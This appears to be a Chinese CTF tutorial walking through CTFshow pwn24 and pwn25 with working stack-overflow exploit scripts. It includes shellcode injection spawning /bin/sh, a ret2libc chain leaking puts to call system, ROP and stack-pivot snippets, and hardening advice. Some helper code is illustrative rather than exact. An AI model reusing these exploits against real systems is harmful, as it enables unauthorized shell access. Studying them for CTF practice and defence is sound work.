当前位置: 首页 > news >正文

CTFshow PWN实战:从pwn24到pwn25,手把手教你两种栈溢出攻击姿势(含LibcSearcher避坑指南)

CTFshow PWN实战:两种栈溢出攻击姿势与LibcSearcher避坑指南

在CTF竞赛中,PWN题型一直是考察二进制漏洞利用能力的核心项目。本文将带你深入分析CTFshow平台上两道经典的栈溢出题目——pwn24和pwn25,通过对比无NX保护和开启NX保护两种场景下的攻击方法,掌握从基础到进阶的实战技巧。

1. 环境准备与工具链配置

在开始实战前,需要确保具备以下环境:

  • Ubuntu 18.04/20.04:推荐使用原生Linux系统或WSL2
  • Python环境
    # 安装Python3和pip sudo apt update && sudo apt install python3 python3-pip
  • 必备工具
    # 安装pwntools pip3 install pwntools # 安装调试工具 sudo apt install gdb gdb-multiarch

注意:建议使用Python3环境,避免Python2带来的兼容性问题。

2. pwn24:无NX保护的shellcode注入

2.1 题目分析与保护机制检查

首先使用checksec检查二进制文件的安全机制:

checksec ./pwn24

典型输出结果:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)

关键发现:

  • 32位程序:影响内存地址和寄存器使用
  • NX disabled:允许栈上执行代码,为shellcode注入创造条件
  • No canary:可以直接覆盖返回地址

2.2 漏洞定位与利用思路

通过反汇编找到危险函数:

objdump -d ./pwn24 | grep -A20 ctfshow

发现存在不安全的read调用:

08049196 <ctfshow>: 8049196: 55 push %ebp 8049197: 89 e5 mov %esp,%ebp 8049199: 81 ec 88 00 00 00 sub $0x88,%esp 804919f: 83 ec 04 sub $0x4,%esp 80491a2: 68 00 01 00 00 push $0x100 80491a7: 8d 85 78 ff ff ff lea -0x88(%ebp),%eax 80491ad: 50 push %eax 80491ae: 6a 00 push $0x0 80491b0: e8 9b fe ff ff call 8049050 <read@plt>

利用步骤:

  1. 计算偏移量:0x88(缓冲区) +4(ebp) = 140字节
  2. 构造payload:填充140字节 + shellcode地址
  3. 将shellcode放置在返回地址后或利用环境变量

2.3 完整利用脚本

from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28251) # 生成execve("/bin/sh")的shellcode shellcode = asm(shellcraft.sh()) # 构造payload payload = flat({ 140: p32(0xffffd580), # 栈地址(需通过调试确定) }, filler='\x90') # NOP sled提高命中率 payload += shellcode p.sendline(payload) p.interactive()

调试技巧

gdb -q ./pwn24 (gdb) b *ctfshow+25 (gdb) r < <(python -c "print 'A'*140 + 'BBBB'") (gdb) x/40wx $esp

3. pwn25:NX保护下的ret2libc攻击

3.1 保护机制分析

检查安全措施:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键变化:

  • NX enabled:栈不可执行,需转向代码复用攻击
  • Partial RELRO:GOT表可写,为GOT劫持创造条件

3.2 利用思路与难点突破

ret2libc攻击流程:

  1. 泄露libc函数地址(如puts)
  2. 计算libc基地址
  3. 定位system和"/bin/sh"
  4. 构造ROP链

关键问题:如何在没有libc的情况下确定版本?

方案一:使用已知libc(推荐)
from pwn import * p = remote('pwn.challenge.ctf.show', 28116) elf = ELF('./pwn25') libc = ELF('libc6-i386_2.27-3ubuntu1.4_amd64.so') # 已知版本 # 第一次溢出:泄露puts地址 payload = flat( b'A'*(0x88+4), elf.plt['puts'], elf.symbols['main'], elf.got['puts'] ) p.sendline(payload) puts_addr = u32(p.recv(4)) libc.address = puts_addr - libc.symbols['puts'] # 第二次溢出:调用system payload = flat( b'A'*(0x88+4), libc.symbols['system'], b'BBBB', # 返回地址(任意) next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive()
方案二:LibcSearcher替代方案

针对LibcSearcher的常见问题,推荐以下解决方案:

  1. 使用libc-database

    git clone https://github.com/niklasb/libc-database.git cd libc-database ./get ubuntu
  2. 在线查询工具

    • https://libc.blukat.me/
    • https://libc.rip/
  3. 手动匹配特征

    # 通过多个函数地址确定libc版本 def find_libc(puts_addr, printf_addr): # 计算偏移差 offset_diff = printf_addr - puts_addr # 与已知libc版本对比 if offset_diff == 0x10: # 示例值 return puts_addr - 0x067b20 # 对应libc基址

3.3 高级技巧:栈迁移与ROP链构造

当空间受限时,可结合栈迁移技术:

# 寻找可用gadget rop = ROP(elf) rop.raw(b'A'*(0x88+4)) rop.migrate(0xffffd580) # 目标栈地址 rop.puts(elf.got['puts']) rop.main() p.sendline(rop.chain())

4. 实战中的常见问题与解决方案

4.1 地址随机化(ASLR)应对策略

  • 信息泄露:通过输出函数泄露地址
  • 暴力破解:针对部分随机化的场景
  • 地址预测:利用内存布局特征

4.2 Python环境问题终极解决方案

推荐使用virtualenv创建独立环境:

python3 -m venv pwn-env source pwn-env/bin/activate pip install pwntools uncompyle6

4.3 调试技巧汇编

GDB增强配置

wget -P ~ https://git.io/.gdbinit

常用命令组合:

# 查看内存映射 vmmap # 查找字符串 find /bin/sh # ROP gadget搜索 rop --grep "pop eax"

5. 安全防护与漏洞修复建议

5.1 开发者防护措施

  • 启用所有保护机制:

    CFLAGS += -fstack-protector-strong -pie -fPIC -D_FORTIFY_SOURCE=2 LDFLAGS += -Wl,-z,now,-z,relro
  • 安全编码实践:

    // 使用安全函数替代gets/scanf fgets(buf, sizeof(buf), stdin);

5.2 CTF选手防御视角

理解防护机制有助于攻击:

  • Canary绕过:通过信息泄露或暴力破解
  • PIE绕过:利用信息泄露计算基址
  • RELRO完全:转向其他攻击面

在完成这两道题目后,建议尝试修改防护设置,重新编译并测试攻击方法的变化,这将极大提升对二进制漏洞本质的理解。

http://www.cnnetsun.cn/news/2887708.html

相关文章:

  • 阿里千问免费开放志愿填报Agent,家长为何仍疯抢万元付费咨询?
  • JetBrains IDE试用期重置终极指南:2026年最完整的开源解决方案
  • 别再死记硬背了!一张图看懂UDS诊断会话(10服务)与ECU权限的“父子关系”
  • 排序(4)-归并排序专题——归并排序的分治美学
  • 保姆级教程:手把手教你用ABAP查询T001B表,精准判断日期是否在OB52财务账期内
  • 从SPI Mode0/3时序图到PCB走线:高频SPI稳定性的‘隐形杀手’与避坑指南
  • vLLM 云原生推理基础设施深度解析:从 PagedAttention 内核到 Kubernetes 生产级部署
  • 别再只防外网了!用DHCP Snooping+IPSG给你的内网接入层加把‘锁’
  • 别再只点灯了!树莓派Pico的PWM信号详解:如何精准控制舵机角度与速度
  • DFT面积与性能的权衡:手把手教你根据项目需求选择Shared还是Dedicated Wrapper Cell
  • 避坑指南:若依多用户登录中Spring Security的Bean冲突与权限隔离陷阱
  • 第十二章 常用类
  • Quickshell技术架构解析:QtQuick桌面环境构建的艺术与工程
  • i.MX6ULL平台libmodbus 3.1.6交叉编译实操资源包(含补丁说明与完整构建脚本)
  • Claude Mythos:AI原生安全引擎如何重构漏洞挖掘范式
  • 别让你的SPI Nor跑飞了!100MHz高频下采样延时到底该怎么配?(附XTX芯片实测)
  • 德国法院裁决:谷歌需为 AI 概述虚假陈述负责,或影响全球 AI 搜索引擎
  • 从Hard Label到Soft Label:深入解析Label Smoothing的数学之美与实战调优
  • 如何5秒解锁百度网盘加密资源:智能提取码解析终极指南
  • 如何降低谷歌广告CPC?中小企业常用的低成本方法
  • League Akari:5个智能功能彻底改变你的英雄联盟游戏体验
  • 拓扑透镜的时间延迟公式严格推导(世毫九IGP框架)
  • 永磁同步电机静止状态下用方波注入法估算转子初始位置的Simulink仿真模型
  • PotPlayer百度翻译插件:5分钟搞定免费字幕实时翻译的终极指南
  • 从TIM1到TIM1.5:芯片封装散热设计的范式转移与技术对比
  • 平衡车项目实战:用STM32F103的EXTI中断实时读取MPU6050数据(附完整工程)
  • Vivado工程版本升级中IP缓存状态异常解析:从“Using cached IP results”到“synth_design Complete!”的实战处理
  • STM32F103 USB开发避坑指南:为什么你的端点数据会“神秘消失”?详解BTABLE与缓冲区地址计算
  • Android NDK原生层黑白滤镜实时预览方案(Camera2+OpenGL FBO)
  • C语言链表实战:从零手搓一个学生信息管理系统(附完整源码与内存管理避坑指南)